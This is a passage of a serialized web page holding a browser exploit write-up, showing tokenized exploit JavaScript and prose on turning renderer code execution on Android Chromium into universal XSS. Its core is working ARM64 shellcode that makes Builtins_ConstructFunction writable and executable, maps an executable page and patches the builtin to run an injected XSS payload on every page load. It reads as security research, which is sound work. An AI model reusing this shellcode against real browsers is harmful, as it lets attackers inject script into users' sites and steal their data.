"children":136594},{"style":551},[136595],{"type":28,"value":1568},{"type":23,"tag":481,"props":136597,"children":136598},{"style":525},[136599],{"type":28,"value":588},{"type":23,"tag":481,"props":136601,"children":136602},{"style":551},[136603],{"type":28,"value":1568},{"type":23,"tag":481,"props":136605,"children":136606},{"style":525},[136607],{"type":28,"value":1033},{"type":23,"tag":481,"props":136609,"children":136610},{"class":483,"line":1142},[136611,136615,136619,136623,136627,136631,136635,136639,136643,136647,136651,136656,136660,136665,136669,136674,136678,136682],{"type":23,"tag":481,"props":136612,"children":136613},{"style":551},[136614],{"type":28,"value":131729},{"type":23,"tag":481,"props":136616,"children":136617},{"style":525},[136618],{"type":28,"value":588},{"type":23,"tag":481,"props":136620,"children":136621},{"style":551},[136622],{"type":28,"value":1568},{"type":23,"tag":481,"props":136624,"children":136625},{"style":525},[136626],{"type":28,"value":588},{"type":23,"tag":481,"props":136628,"children":136629},{"style":551},[136630],{"type":28,"value":1568},{"type":23,"tag":481,"props":136632,"children":136633},{"style":525},[136634],{"type":28,"value":588},{"type":23,"tag":481,"props":136636,"children":136637},{"style":551},[136638],{"type":28,"value":1568},{"type":23,"tag":481,"props":136640,"children":136641},{"style":525},[136642],{"type":28,"value":588},{"type":23,"tag":481,"props":136644,"children":136645},{"style":551},[136646],{"type":28,"value":1568},{"type":23,"tag":481,"props":136648,"children":136649},{"style":525},[136650],{"type":28,"value":588},{"type":23,"tag":481,"props":136652,"children":136653},{"style":551},[136654],{"type":28,"value":136655},"92",{"type":23,"tag":481,"props":136657,"children":136658},{"style":525},[136659],{"type":28,"value":588},{"type":23,"tag":481,"props":136661,"children":136662},{"style":551},[136663],{"type":28,"value":136664},"50",{"type":23,"tag":481,"props":136666,"children":136667},{"style":525},[136668],{"type":28,"value":588},{"type":23,"tag":481,"props":136670,"children":136671},{"style":551},[136672],{"type":28,"value":136673},"162",{"type":23,"tag":481,"props":136675,"children":136676},{"style":525},[136677],{"type":28,"value":588},{"type":23,"tag":481,"props":136679,"children":136680},{"style":551},[136681],{"type":28,"value":1568},{"type":23,"tag":481,"props":136683,"children":136684},{"style":525},[136685],{"type":28,"value":1033},{"type":23,"tag":481,"props":136687,"children":136688},{"class":483,"line":1159},[136689],{"type":23,"tag":481,"props":136690,"children":136691},{"style":525},[136692],{"type":28,"value":132016},{"type":23,"tag":481,"props":136694,"children":136695},{"class":483,"line":1172},[136696,136700,136704,136708,136712,136716,136720,136724,136728,136732,136736],{"type":23,"tag":481,"props":136697,"children":136698},{"style":497},[136699],{"type":28,"value":5334},{"type":23,"tag":481,"props":136701,"children":136702},{"style":508},[136703],{"type":28,"value":133469},{"type":23,"tag":481,"props":136705,"children":136706},{"style":514},[136707],{"type":28,"value":517},{"type":23,"tag":481,"props":136709,"children":136710},{"style":610},[136711],{"type":28,"value":133478},{"type":23,"tag":481,"props":136713,"children":136714},{"style":525},[136715],{"type":28,"value":618},{"type":23,"tag":481,"props":136717,"children":136718},{"style":508},[136719],{"type":28,"value":131347},{"type":23,"tag":481,"props":136721,"children":136722},{"style":525},[136723],{"type":28,"value":588},{"type":23,"tag":481,"props":136725,"children":136726},{"style":508},[136727],{"type":28,"value":122674},{"type":23,"tag":481,"props":136729,"children":136730},{"style":525},[136731],{"type":28,"value":199},{"type":23,"tag":481,"props":136733,"children":136734},{"style":508},[136735],{"type":28,"value":122674},{"type":23,"tag":481,"props":136737,"children":136738},{"style":525},[136739],{"type":28,"value":1366},{"type":23,"tag":481,"props":136741,"children":136742},{"class":483,"line":1181},[136743,136747,136751,136755,136759,136763,136767,136771,136775,136779],{"type":23,"tag":481,"props":136744,"children":136745},{"style":508},[136746],{"type":28,"value":133514},{"type":23,"tag":481,"props":136748,"children":136749},{"style":514},[136750],{"type":28,"value":517},{"type":23,"tag":481,"props":136752,"children":136753},{"style":525},[136754],{"type":28,"value":578},{"type":23,"tag":481,"props":136756,"children":136757},{"style":535},[136758],{"type":28,"value":30432},{"type":23,"tag":481,"props":136760,"children":136761},{"style":508},[136762],{"type":28,"value":133469},{"type":23,"tag":481,"props":136764,"children":136765},{"style":525},[136766],{"type":28,"value":199},{"type":23,"tag":481,"props":136768,"children":136769},{"style":610},[136770],{"type":28,"value":55092},{"type":23,"tag":481,"props":136772,"children":136773},{"style":525},[136774],{"type":28,"value":133543},{"type":23,"tag":481,"props":136776,"children":136777},{"style":508},[136778],{"type":28,"value":36670},{"type":23,"tag":481,"props":136780,"children":136781},{"style":525},[136782],{"type":28,"value":528},{"type":23,"tag":481,"props":136784,"children":136785},{"class":483,"line":1204},[136786,136790,136794,136798,136802,136807,136811,136815],{"type":23,"tag":481,"props":136787,"children":136788},{"style":508},[136789],{"type":28,"value":99476},{"type":23,"tag":481,"props":136791,"children":136792},{"style":525},[136793],{"type":28,"value":199},{"type":23,"tag":481,"props":136795,"children":136796},{"style":610},[136797],{"type":28,"value":99485},{"type":23,"tag":481,"props":136799,"children":136800},{"style":525},[136801],{"type":28,"value":618},{"type":23,"tag":481,"props":136803,"children":136804},{"style":1805},[136805],{"type":28,"value":136806},"'DeserializeWasmModule result: '",{"type":23,"tag":481,"props":136808,"children":136809},{"style":514},[136810],{"type":28,"value":6385},{"type":23,"tag":481,"props":136812,"children":136813},{"style":508},[136814],{"type":28,"value":6642},{"type":23,"tag":481,"props":136816,"children":136817},{"style":525},[136818],{"type":28,"value":1366},{"type":23,"tag":481,"props":136820,"children":136821},{"class":483,"line":1213},[136822,136826,136830,136834,136838,136842,136846,136850,136854,136858],{"type":23,"tag":481,"props":136823,"children":136824},{"style":497},[136825],{"type":28,"value":33706},{"type":23,"tag":481,"props":136827,"children":136828},{"style":508},[136829],{"type":28,"value":133563},{"type":23,"tag":481,"props":136831,"children":136832},{"style":514},[136833],{"type":28,"value":517},{"type":23,"tag":481,"props":136835,"children":136836},{"style":497},[136837],{"type":28,"value":29448},{"type":23,"tag":481,"props":136839,"children":136840},{"style":508},[136841],{"type":28,"value":131330},{"type":23,"tag":481,"props":136843,"children":136844},{"style":525},[136845],{"type":28,"value":199},{"type":23,"tag":481,"props":136847,"children":136848},{"style":610},[136849],{"type":28,"value":131384},{"type":23,"tag":481,"props":136851,"children":136852},{"style":525},[136853],{"type":28,"value":618},{"type":23,"tag":481,"props":136855,"children":136856},{"style":508},[136857],{"type":28,"value":6564},{"type":23,"tag":481,"props":136859,"children":136860},{"style":525},[136861],{"type":28,"value":1366},{"type":23,"tag":481,"props":136863,"children":136864},{"class":483,"line":1222},[136865,136869,136873,136877,136881,136885,136889,136893,136897],{"type":23,"tag":481,"props":136866,"children":136867},{"style":497},[136868],{"type":28,"value":33706},{"type":23,"tag":481,"props":136870,"children":136871},{"style":508},[136872],{"type":28,"value":30487},{"type":23,"tag":481,"props":136874,"children":136875},{"style":514},[136876],{"type":28,"value":517},{"type":23,"tag":481,"props":136878,"children":136879},{"style":508},[136880],{"type":28,"value":133563},{"type":23,"tag":481,"props":136882,"children":136883},{"style":525},[136884],{"type":28,"value":199},{"type":23,"tag":481,"props":136886,"children":136887},{"style":508},[136888],{"type":28,"value":35404},{"type":23,"tag":481,"props":136890,"children":136891},{"style":525},[136892],{"type":28,"value":199},{"type":23,"tag":481,"props":136894,"children":136895},{"style":508},[136896],{"type":28,"value":131433},{"type":23,"tag":481,"props":136898,"children":136899},{"style":525},[136900],{"type":28,"value":528},{"type":23,"tag":481,"props":136902,"children":136903},{"class":483,"line":1291},[136904,136908,136912,136916,136920,136924],{"type":23,"tag":481,"props":136905,"children":136906},{"style":508},[136907],{"type":28,"value":99476},{"type":23,"tag":481,"props":136909,"children":136910},{"style":525},[136911],{"type":28,"value":199},{"type":23,"tag":481,"props":136913,"children":136914},{"style":610},[136915],{"type":28,"value":99485},{"type":23,"tag":481,"props":136917,"children":136918},{"style":525},[136919],{"type":28,"value":618},{"type":23,"tag":481,"props":136921,"children":136922},{"style":508},[136923],{"type":28,"value":30601},{"type":23,"tag":481,"props":136925,"children":136926},{"style":525},[136927],{"type":28,"value":1366},{"type":23,"tag":481,"props":136929,"children":136930},{"class":483,"line":1299},[136931],{"type":23,"tag":481,"props":136932,"children":136933},{"style":525},[136934],{"type":28,"value":99517},{"type":23,"tag":24,"props":136936,"children":136937},{},[136938],{"type":28,"value":136939},"And this time, it works as expected:",{"type":23,"tag":24,"props":136941,"children":136942},{},[136943],{"type":23,"tag":149,"props":136944,"children":136947},{"alt":136945,"src":136946},"image3","/posts/mobile-renderer-rce/image3.png",[],{"type":23,"tag":7092,"props":136949,"children":136951},{"id":136950},"achieving-universal-xss",[136952],{"type":28,"value":136953},"Achieving Universal XSS",{"type":23,"tag":24,"props":136955,"children":136956},{},[136957,136959,136965,136967,136974],{"type":28,"value":136958},"At this point, we have arbitrary shellcode execution in the renderer process. While usually the exploit stops here and further access would require a browser sandbox escape, we decided to explore an alternative route known as UXSS, inspired by this ",{"type":23,"tag":190,"props":136960,"children":136963},{"href":136961,"rel":136962},"https://i.blackhat.com/Asia-24/Presentations/Asia-24-Liu-The-Hole-in-Sandbox.pdf",[194],[136964],{"type":28,"value":67861},{"type":28,"value":136966}," from Tencent Security and ",{"type":23,"tag":190,"props":136968,"children":136971},{"href":136969,"rel":136970},"https://www.interruptlabs.co.uk/articles/one-click-memory-corruption-in-alibabas-uc-browser-exploiting-patch-gap-v8-vulnerabilities-to-steal-your-data",[194],[136972],{"type":28,"value":136973},"research article",{"type":28,"value":136975}," from InterruptLabs.",{"type":23,"tag":24,"props":136977,"children":136978},{},[136979,136981,136988],{"type":28,"value":136980},"Unlike a normal XSS, a UXSS, or universal XSS, is a client side browser exploit that enables arbitrary JavaScript injection in all pages of a website. Normally, site isolation on desktop Chromium prevents this, as each site ends up in a different renderer process, but Android specifically has a ",{"type":23,"tag":190,"props":136982,"children":136985},{"href":136983,"rel":136984},"https://www.chromium.org/Home/chromium-security/site-isolation/#android",[194],[136986],{"type":28,"value":136987},"weaker version",{"type":28,"value":136989}," of this mitigation - only sites with logins and COOP headers are per process isolated. This means that the majority of webpages are in the same renderer process, so any patches to the interpreter will affect them all and lead to UXSS. This is still quite the capability!",{"type":23,"tag":24,"props":136991,"children":136992},{},[136993,136995,137001],{"type":28,"value":136994},"To achieve UXSS, we need to patch a function that’s invoked during site loading so we can run our XSS payload. During debugging, we observed that every site we visited eventually called ",{"type":23,"tag":64,"props":136996,"children":136998},{"className":136997},[],[136999],{"type":28,"value":137000},"Builtins_ConstructFunction",{"type":28,"value":137002},", making it a natural target.",{"type":23,"tag":24,"props":137004,"children":137005},{},[137006,137008,137013],{"type":28,"value":137007},"Our goal is for ",{"type":23,"tag":64,"props":137009,"children":137011},{"className":137010},[],[137012],{"type":28,"value":137000},{"type":28,"value":137014}," to execute our XSS payload first, then continue its normal behavior. To do this, we hook it as follows:",{"type":23,"tag":14178,"props":137016,"children":137017},{},[137018,137023,137033],{"type":23,"tag":77,"props":137019,"children":137020},{},[137021],{"type":28,"value":137022},"The exploit’s shellcode patches the first few instructions to redirect execution to our mmap-ed shellcode, which runs the XSS payload",{"type":23,"tag":77,"props":137024,"children":137025},{},[137026,137028],{"type":28,"value":137027},"After finishing, the mmap-ed shellcode restores the original instructions in ",{"type":23,"tag":64,"props":137029,"children":137031},{"className":137030},[],[137032],{"type":28,"value":137000},{"type":23,"tag":77,"props":137034,"children":137035},{},[137036,137038,137043],{"type":28,"value":137037},"The mmap-ed shellcode then returns to the beginning of ",{"type":23,"tag":64,"props":137039,"children":137041},{"className":137040},[],[137042],{"type":28,"value":137000},{"type":28,"value":137044},", which now proceeds normally",{"type":23,"tag":24,"props":137046,"children":137047},{},[137048],{"type":28,"value":137049},"The ARM64 shellcode implementing this looks as follows:",{"type":23,"tag":435,"props":137051,"children":137055},{"code":137052,"language":137053,"meta":7,"className":137054,"style":7},"// get return addr to x0\nldr x0, [sp, #0x18]\n// strip pac signature from return address\n.arch armv8.3-a; xpaci x0\n\n// store x5 = Builtins_ConstructFunction\nmovz x1, #0x610c\nsub x0, x0, x1\nmov x5, x0\n\n// store x4 = page aligned ConstructFunction\nmovz x1, #0xf000\nmovk x1, #0xffff, lsl #16\nmovk x1, #0xffff, lsl #32\nand x4, x5, x1\n\n// mprotect page aligned ConstructFunction RWX\nmov x0, x4\nmov x1, #0x2000\nmov x2, #0x7\nmov x8, #226\nsvc #0\n\nmov x6, x5\n\n// mmap RWX for jump dest (uxss_sc)\nmov x0, #0\nmov x1, #0x1000\nmov x2, #0x7\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\nmov x5, x0\n\n// at this point:\n// x6 = Builtins_ConstructFunction\n// x5 = mmap page for uxss_sc\n\n// write uxss_sc to mmaped rwx page\n{write_sc(uxss_sc, \"x5\")}\n\n// wipe from cache\nmov x0, x5\n{WIPE_CACHE}\n\n// patch Builtins_ConstructFunction\n{write_sc(new_compile_instrs, \"x6\")}\n// and add a pointer to uxss_sc just above new instructions\nstr x5, [x6, #{5 * INSTR_SIZE}]\n\n// wipe from cache\nmov x0, x6\n{WIPE_CACHE}\n","asm","language-asm shiki shiki-themes slack-dark",[137056],{"type":23,"tag":64,"props":137057,"children":137058},{"__ignoreMap":7},[137059,137067,137075,137083,137091,137098,137106,137114,137122,137130,137137,137145,137153,137161,137169,137177,137184,137192,137200,137208,137216,137224,137232,137239,137247,137254,137262,137270,137278,137285,137293,137301,137309,137317,137324,137331,137338,137345,137353,137361,137369,137376,137384,137392,137399,137407,137415,137423,137430,137438,137446,137454,137462,137469,137476,137484],{"type":23,"tag":481,"props":137060,"children":137061},{"class":483,"line":484},[137062],{"type":23,"tag":481,"props":137063,"children":137064},{},[137065],{"type":28,"value":137066},"// get return addr to x0\n",{"type":23,"tag":481,"props":137068,"children":137069},{"class":483,"line":351},[137070],{"type":23,"tag":481,"props":137071,"children":137072},{},[137073],{"type":28,"value":137074},"ldr x0, [sp, #0x18]\n",{"type":23,"tag":481,"props":137076,"children":137077},{"class":483,"line":531},[137078],{"type":23,"tag":481,"props":137079,"children":137080},{},[137081],{"type":28,"value":137082},"// strip pac signature from return address\n",{"type":23,"tag":481,"props":137084,"children":137085},{"class":483,"line":567},[137086],{"type":23,"tag":481,"props":137087,"children":137088},{},[137089],{"type":28,"value":137090},".arch armv8.3-a; xpaci x0\n",{"type":23,"tag":481,"props":137092,"children":137093},{"class":483,"line":678},[137094],{"type":23,"tag":481,"props":137095,"children":137096},{"emptyLinePlaceholder":15},[137097],{"type":28,"value":1210},{"type":23,"tag":481,"props":137099,"children":137100},{"class":483,"line":784},[137101],{"type":23,"tag":481,"props":137102,"children":137103},{},[137104],{"type":28,"value":137105},"// store x5 = Builtins_ConstructFunction\n",{"type":23,"tag":481,"props":137107,"children":137108},{"class":483,"line":812},[137109],{"type":23,"tag":481,"props":137110,"children":137111},{},[137112],{"type":28,"value":137113},"movz x1, #0x610c\n",{"type":23,"tag":481,"props":137115,"children":137116},{"class":483,"line":825},[137117],{"type":23,"tag":481,"props":137118,"children":137119},{},[137120],{"type":28,"value":137121},"sub x0, x0, x1\n",{"type":23,"tag":481,"props":137123,"children":137124},{"class":483,"line":843},[137125],{"type":23,"tag":481,"props":137126,"children":137127},{},[137128],{"type":28,"value":137129},"mov x5, x0\n",{"type":23,"tag":481,"props":137131,"children":137132},{"class":483,"line":864},[137133],{"type":23,"tag":481,"props":137134,"children":137135},{"emptyLinePlaceholder":15},[137136],{"type":28,"value":1210},{"type":23,"tag":481,"props":137138,"children":137139},{"class":483,"line":873},[137140],{"type":23,"tag":481,"props":137141,"children":137142},{},[137143],{"type":28,"value":137144},"// store x4 = page aligned ConstructFunction\n",{"type":23,"tag":481,"props":137146,"children":137147},{"class":483,"line":1125},[137148],{"type":23,"tag":481,"props":137149,"children":137150},{},[137151],{"type":28,"value":137152},"movz x1, #0xf000\n",{"type":23,"tag":481,"props":137154,"children":137155},{"class":483,"line":1142},[137156],{"type":23,"tag":481,"props":137157,"children":137158},{},[137159],{"type":28,"value":137160},"movk x1, #0xffff, lsl #16\n",{"type":23,"tag":481,"props":137162,"children":137163},{"class":483,"line":1159},[137164],{"type":23,"tag":481,"props":137165,"children":137166},{},[137167],{"type":28,"value":137168},"movk x1, #0xffff, lsl #32\n",{"type":23,"tag":481,"props":137170,"children":137171},{"class":483,"line":1172},[137172],{"type":23,"tag":481,"props":137173,"children":137174},{},[137175],{"type":28,"value":137176},"and x4, x5, x1\n",{"type":23,"tag":481,"props":137178,"children":137179},{"class":483,"line":1181},[137180],{"type":23,"tag":481,"props":137181,"children":137182},{"emptyLinePlaceholder":15},[137183],{"type":28,"value":1210},{"type":23,"tag":481,"props":137185,"children":137186},{"class":483,"line":1204},[137187],{"type":23,"tag":481,"props":137188,"children":137189},{},[137190],{"type":28,"value":137191},"// mprotect page aligned ConstructFunction RWX\n",{"type":23,"tag":481,"props":137193,"children":137194},{"class":483,"line":1213},[137195],{"type":23,"tag":481,"props":137196,"children":137197},{},[137198],{"type":28,"value":137199},"mov x0, x4\n",{"type":23,"tag":481,"props":137201,"children":137202},{"class":483,"line":1222},[137203],{"type":23,"tag":481,"props":137204,"children":137205},{},[137206],{"type":28,"value":137207},"mov x1, #0x2000\n",{"type":23,"tag":481,"props":137209,"children":137210},{"class":483,"line":1291},[137211],{"type":23,"tag":481,"props":137212,"children":137213},{},[137214],{"type":28,"value":137215},"mov x2, #0x7\n",{"type":23,"tag":481,"props":137217,"children":137218},{"class":483,"line":1299},[137219],{"type":23,"tag":481,"props":137220,"children":137221},{},[137222],{"type":28,"value":137223},"mov x8, #226\n",{"type":23,"tag":481,"props":137225,"children":137226},{"class":483,"line":1329},[137227],{"type":23,"tag":481,"props":137228,"children":137229},{},[137230],{"type":28,"value":137231},"svc #0\n",{"type":23,"tag":481,"props":137233,"children":137234},{"class":483,"line":1337},[137235],{"type":23,"tag":481,"props":137236,"children":137237},{"emptyLinePlaceholder":15},[137238],{"type":28,"value":1210},{"type":23,"tag":481,"props":137240,"children":137241},{"class":483,"line":1369},[137242],{"type":23,"tag":481,"props":137243,"children":137244},{},[137245],{"type":28,"value":137246},"mov x6, x5\n",{"type":23,"tag":481,"props":137248,"children":137249},{"class":483,"line":1377},[137250],{"type":23,"tag":481,"props":137251,"children":137252},{"emptyLinePlaceholder":15},[137253],{"type":28,"value":1210},{"type":23,"tag":481,"props":137255,"children":137256},{"class":483,"line":1437},[137257],{"type":23,"tag":481,"props":137258,"children":137259},{},[137260],{"type":28,"value":137261},"// mmap RWX for jump dest (uxss_sc)\n",{"type":23,"tag":481,"props":137263,"children":137264},{"class":483,"line":6528},[137265],{"type":23,"tag":481,"props":137266,"children":137267},{},[137268],{"type":28,"value":137269},"mov x0, #0\n",{"type":23,"tag":481,"props":137271,"children":137272},{"class":483,"line":6546},[137273],{"type":23,"tag":481,"props":137274,"children":137275},{},[137276],{"type":28,"value":137277},"mov x1, #0x1000\n",{"type":23,"tag":481,"props":137279,"children":137280},{"class":483,"line":6591},[137281],{"type":23,"tag":481,"props":137282,"children":137283},{},[137284],{"type":28,"value":137215},{"type":23,"tag":481,"props":137286,"children":137287},{"class":483,"line":6697},[137288],{"type":23,"tag":481,"props":137289,"children":137290},{},[137291],{"type":28,"value":137292},"mov x3, #34\n",{"type":23,"tag":481,"props":137294,"children":137295},{"class":483,"line":21008},[137296],{"type":23,"tag":481,"props":137297,"children":137298},{},[137299],{"type":28,"value":137300},"mov x4, #-1\n",{"type":23,"tag":481,"props":137302,"children":137303},{"class":483,"line":21043},[137304],{"type":23,"tag":481,"props":137305,"children":137306},{},[137307],{"type":28,"value":137308},"mov x5, #0\n",{"type":23,"tag":481,"props":137310,"children":137311},{"class":483,"line":21051},[137312],{"type":23,"tag":481,"props":137313,"children":137314},{},[137315],{"type":28,"value":137316},"mov x8, #222\n",{"type":23,"tag":481,"props":137318,"children":137319},{"class":483,"line":21059},[137320],{"type":23,"tag":481,"props":137321,"children":137322},{},[137323],{"type":28,"value":137231},{"type":23,"tag":481,"props":137325,"children":137326},{"class":483,"line":21068},[137327],{"type":23,"tag":481,"props":137328,"children":137329},{"emptyLinePlaceholder":15},[137330],{"type":28,"value":1210},{"type":23,"tag":481,"props":137332,"children":137333},{"class":483,"line":21110},[137334],{"type":23,"tag":481,"props":137335,"children":137336},{},[137337],{"type":28,"value":137129},{"type":23,"tag":481,"props":137339,"children":137340},{"class":483,"line":21143},[137341],{"type":23,"tag":481,"props":137342,"children":137343},{"emptyLinePlaceholder":15},[137344],{"type":28,"value":1210},{"type":23,"tag":481,"props":137346,"children":137347},{"class":483,"line":21151},[137348],{"type":23,"tag":481,"props":137349,"children":137350},{},[137351],{"type":28,"value":137352},"// at this point:\n",{"type":23,"tag":481,"props":137354,"children":137355},{"class":483,"line":21159},[137356],{"type":23,"tag":481,"props":137357,"children":137358},{},[137359],{"type":28,"value":137360},"// x6 = Builtins_ConstructFunction\n",{"type":23,"tag":481,"props":137362,"children":137363},{"class":483,"line":21168},[137364],{"type":23,"tag":481,"props":137365,"children":137366},{},[137367],{"type":28,"value":137368},"// x5 = mmap page for uxss_sc\n",{"type":23,"tag":481,"props":137370,"children":137371},{"class":483,"line":21244},[137372],{"type":23,"tag":481,"props":137373,"children":137374},{"emptyLinePlaceholder":15},[137375],{"type":28,"value":1210},{"type":23,"tag":481,"props":137377,"children":137378},{"class":483,"line":21277},[137379],{"type":23,"tag":481,"props":137380,"children":137381},{},[137382],{"type":28,"value":137383},"// write uxss_sc to mmaped rwx page\n",{"type":23,"tag":481,"props":137385,"children":137386},{"class":483,"line":21285},[137387],{"type":23,"tag":481,"props":137388,"children":137389},{},[137390],{"type":28,"value":137391},"{write_sc(uxss_sc, \"x5\")}\n",{"type":23,"tag":481,"props":137393,"children":137394},{"class":483,"line":21293},[137395],{"type":23,"tag":481,"props":137396,"children":137397},{"emptyLinePlaceholder":15},[137398],{"type":28,"value":1210},{"type":23,"tag":481,"props":137400,"children":137401},{"class":483,"line":21330},[137402],{"type":23,"tag":481,"props":137403,"children":137404},{},[137405],{"type":28,"value":137406},"// wipe from cache\n",{"type":23,"tag":481,"props":137408,"children":137409},{"class":483,"line":21343},[137410],{"type":23,"tag":481,"props":137411,"children":137412},{},[137413],{"type":28,"value":137414},"mov x0, x5\n",{"type":23,"tag":481,"props":137416,"children":137417},{"class":483,"line":21356},[137418],{"type":23,"tag":481,"props":137419,"children":137420},{},[137421],{"type":28,"value":137422},"{WIPE_CACHE}\n",{"type":23,"tag":481,"props":137424,"children":137425},{"class":483,"line":21369},[137426],{"type":23,"tag":481,"props":137427,"children":137428},{"emptyLinePlaceholder":15},[137429],{"type":28,"value":1210},{"type":23,"tag":481,"props":137431,"children":137432},{"class":483,"line":21423},[137433],{"type":23,"tag":481,"props":137434,"children":137435},{},[137436],{"type":28,"value":137437},"// patch Builtins_ConstructFunction\n",{"type":23,"tag":481,"props":137439,"children":137440},{"class":483,"line":21432},[137441],{"type":23,"tag":481,"props":137442,"children":137443},{},[137444],{"type":28,"value":137445},"{write_sc(new_compile_instrs, \"x6\")}\n",{"type":23,"tag":481,"props":137447,"children":137448},{"class":483,"line":29796},[137449],{"type":23,"tag":481,"props":137450,"children":137451},{},[137452],{"type":28,"value":137453},"// and add a pointer to uxss_sc just above new instructions\n",{"type":23,"tag":481,"props":137455,"children":137456},{"class":483,"line":29817},[137457],{"type":23,"tag":481,"props":137458,"children":137459},{},[137460],{"type":28,"value":137461},"str x5, [x6, #{5 * INSTR_SIZE}]\n",{"type":23,"tag":481,"props":137463,"children":137464},{"class":483,"line":78483},[137465],{"type":23,"tag":481,"props":137466,"children":137467},{"emptyLinePlaceholder":15},[137468],{"type":28,"value":1210},{"type":23,"tag":481,"props":137470,"children":137471},{"class":483,"line":78496},[137472],{"type":23,"tag":481,"props":137473,"children":137474},{},[137475],{"type":28,"value":137406},{"type":23,"tag":481,"props":137477,"children":137478},{"class":483,"line":78504},[137479],{"type":23,"tag":481,"props":137480,"children":137481},{},[137482],{"type":28,"value":137483},"mov x0, x6\n",{"type":23,"tag":481,"props":137485,"children":137486},{"class":483,"line":78512},[137487],{"type":23,"tag":481,"props":137488,"children":137489},{},[137490],{"type":28,"value":137422},{"type":23,"tag":24,"props":137492,"children":137493},{},[137494,137496,137502,137504,137509,137511,137517],{"type":28,"value":137495},"In the snippet above, ",{"type":23,"tag":64,"props":137497,"children":137499},{"className":137498},[],[137500],{"type":28,"value":137501},"new_compile_instrs",{"type":28,"value":137503}," refers to the instructions written to the beginning of ",{"type":23,"tag":64,"props":137505,"children":137507},{"className":137506},[],[137508],{"type":28,"value":137000},{"type":28,"value":137510}," that invoke the ",{"type":23,"tag":64,"props":137512,"children":137514},{"className":137513},[],[137515],{"type":28,"value":137516},"uxss_sc",{"type":28,"value":137518}," mmap-ed shellcode:",{"type":23,"tag":435,"props":137520,"children":137522},{"code":137521,"language":137053,"meta":7,"className":137054,"style":7},"bti c\n\n// store registers that will be overwritten\nstp x15, lr, [sp, #-16]!\n\n// get current rip into x15\nadr x15, .\n\n// load the uxss_sc pointer saved just above new instructions\nldr x15, [x15, #{3 * INSTR_SIZE}]\n\n// jump to uxss_sc\nblr x15\n",[137523],{"type":23,"tag":64,"props":137524,"children":137525},{"__ignoreMap":7},[137526,137534,137541,137549,137557,137564,137572,137580,137587,137595,137603,137610,137618],{"type":23,"tag":481,"props":137527,"children":137528},{"class":483,"line":484},[137529],{"type":23,"tag":481,"props":137530,"children":137531},{},[137532],{"type":28,"value":137533},"bti c\n",{"type":23,"tag":481,"props":137535,"children":137536},{"class":483,"line":351},[137537],{"type":23,"tag":481,"props":137538,"children":137539},{"emptyLinePlaceholder":15},[137540],{"type":28,"value":1210},{"type":23,"tag":481,"props":137542,"children":137543},{"class":483,"line":531},[137544],{"type":23,"tag":481,"props":137545,"children":137546},{},[137547],{"type":28,"value":137548},"// store registers that will be overwritten\n",{"type":23,"tag":481,"props":137550,"children":137551},{"class":483,"line":567},[137552],{"type":23,"tag":481,"props":137553,"children":137554},{},[137555],{"type":28,"value":137556},"stp x15, lr, [sp, #-16]!\n",{"type":23,"tag":481,"props":137558,"children":137559},{"class":483,"line":678},[137560],{"type":23,"tag":481,"props":137561,"children":137562},{"emptyLinePlaceholder":15},[137563],{"type":28,"value":1210},{"type":23,"tag":481,"props":137565,"children":137566},{"class":483,"line":784},[137567],{"type":23,"tag":481,"props":137568,"children":137569},{},[137570],{"type":28,"value":137571},"// get current rip into x15\n",{"type":23,"tag":481,"props":137573,"children":137574},{"class":483,"line":812},[137575],{"type":23,"tag":481,"props":137576,"children":137577},{},[137578],{"type":28,"value":137579},"adr x15, .\n",{"type":23,"tag":481,"props":137581,"children":137582},{"class":483,"line":825},[137583],{"type":23,"tag":481,"props":137584,"children":137585},{"emptyLinePlaceholder":15},[137586],{"type":28,"value":1210},{"type":23,"tag":481,"props":137588,"children":137589},{"class":483,"line":843},[137590],{"type":23,"tag":481,"props":137591,"children":137592},{},[137593],{"type":28,"value":137594},"// load the uxss_sc pointer saved just above new instructions\n",{"type":23,"tag":481,"props":137596,"children":137597},{"class":483,"line":864},[137598],{"type":23,"tag":481,"props":137599,"children":137600},{},[137601],{"type":28,"value":137602},"ldr x15, [x15, #{3 * INSTR_SIZE}]\n",{"type":23,"tag":481,"props":137604,"children":137605},{"class":483,"line":873},[137606],{"type":23,"tag":481,"props":137607,"children":137608},{"emptyLinePlaceholder":15},[137609],{"type":28,"value":1210},{"type":23,"tag":481,"props":137611,"children":137612},{"class":483,"line":1125},[137613],{"type":23,"tag":481,"props":137614,"children":137615},{},[137616],{"type":28,"value":137617},"// jump to uxss_sc\n",{"type":23,"tag":481,"props":137619,"children":137620},{"class":483,"line":1142},[137621],{"type":23,"tag":481,"props":137622,"children":137623},{},[137624],{"type":28,"value":137625},"blr x15\n",{"type":23,"tag":24,"props":137627,"children":137628},{},[137629,137634,137636,137641],{"type":23,"tag":64,"props":137630,"children":137632},{"className":137631},[],[137633],{"type":28,"value":137516},{"type":28,"value":137635}," is the mmap-ed shellcode invoked by the patched ",{"type":23,"tag":64,"props":137637,"children":137639},{"className":137638},[],[137640],{"type":28,"value":137000},{"type":28,"value":137642}," to execute our XSS payload. Its prologue looks like this:",{"type":23,"tag":435,"props":137644,"children":137646},{"code":137645,"language":137053,"meta":7,"className":137054,"style":7},"bti c\n\n// Save full register context\nstp x0, x1, [sp, #-16]!\nstp x2, x3, [sp, #-16]!\nstp x4, x5, [sp, #-16]!\nstp x6, x7, [sp, #-16]!\nstp x8, x9, [sp, #-16]!\nstp x10, x11, [sp, #-16]!\nstp x12, x13, [sp, #-16]!\nstp x14, x15, [sp, #-16]!\nstp x16, x17, [sp, #-16]!\nstp x18, x19, [sp, #-16]!\nstp x20, x21, [sp, #-16]!\nstp x22, x23, [sp, #-16]!\nstp x24, x25, [sp, #-16]!\nstp x26, x27, [sp, #-16]!\nstp x28, x29, [sp, #-16]!\nstr lr, [sp, #-16]!\n",[137647],{"type":23,"tag":64,"props":137648,"children":137649},{"__ignoreMap":7},[137650,137657,137664,137672,137680,137688,137696,137704,137712,137720,137728,137736,137744,137752,137760,137768,137776,137784,137792],{"type":23,"tag":481,"props":137651,"children":137652},{"class":483,"line":484},[137653],{"type":23,"tag":481,"props":137654,"children":137655},{},[137656],{"type":28,"value":137533},{"type":23,"tag":481,"props":137658,"children":137659},{"class":483,"line":351},[137660],{"type":23,"tag":481,"props":137661,"children":137662},{"emptyLinePlaceholder":15},[137663],{"type":28,"value":1210},{"type":23,"tag":481,"props":137665,"children":137666},{"class":483,"line":531},[137667],{"type":23,"tag":481,"props":137668,"children":137669},{},[137670],{"type":28,"value":137671},"// Save full register 